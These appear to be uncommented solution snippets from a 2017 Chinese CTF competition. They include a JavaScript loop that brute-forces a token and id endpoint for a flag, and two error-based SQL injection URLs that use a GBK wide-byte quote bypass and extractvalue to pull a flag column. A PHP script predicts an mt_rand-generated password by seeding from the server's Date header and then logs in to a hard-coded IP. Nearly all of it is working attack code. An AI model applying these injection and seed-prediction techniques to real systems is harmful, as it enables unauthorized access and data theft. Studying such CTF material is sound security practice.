某CTF 2017

window.getFlag

function orz(t) {
    $.get('token.php',
    function(token) {
        console.log(token);
        $.get("get.php?token=" + token + "&id=" + encode(md5(t)),
        function(jsctf3) {
            console.log(jsctf3);
            if(jsctf3['text'].indexOf('flag{')>-1){
                alert(jsctf3['text']);
            }else if(t<200){
                orz(t+1);
            }
        },
        'json');
    },'json');
}
orz(0);

http://xxx:83/111%%df' AND extractvalue(1, concat(0x23, (select mid(f1ag,32,20) from `test`.`fl@g` limit %s,1),0x232323))-- KeTF"
http://xxx:83/111%%df' AND extractvalue(1, concat(0x23, (select mid(f1ag,1,32) from `test`.`fl@g` limit %s,1),0x232323))-- KeTF"

<?php
function create_password($pw_length =  10){
    $randpwd = "";
    for ($i = 0; $i < $pw_length; $i++){
        $randpwd .= chr(mt_rand(33, 126));
    }
    return $randpwd;
}
function get_headers_from_curl_response($headerContent)
{
    $headers = array();
    $arrRequests = explode("\r\n\r\n", $headerContent);
    for ($index = 0; $index < count($arrRequests) -1; $index++) {
        foreach (explode("\r\n", $arrRequests[$index]) as $i => $line)
        {
            if ($i === 0)
                $headers[$index]['http_code'] = $line;
            else
            {
                list ($key, $value) = explode(': ', $line);
                $headers[$index][$key] = $value;
            }
        }
    }
    return $headers;
}
function curl_get($url,$param,$d=False){
    $ch = curl_init();  
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_setopt($ch, CURLOPT_VERBOSE, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $res = curl_exec($ch);
    if ($d){
        $header = get_headers_from_curl_response(substr($res, 0, curl_getinfo($ch, CURLINFO_HEADER_SIZE)));
        $res = $header[0]['Date'];
    }
    curl_close($ch);
    return $res;
}
$url = "http://117.34.111.15:85/";
$seed = curl_get($url,"",True);
mt_srand(strtotime($seed));
$pwd=urlencode(create_password());
echo curl_get($url."index.php?pwd=$pwd&login=","");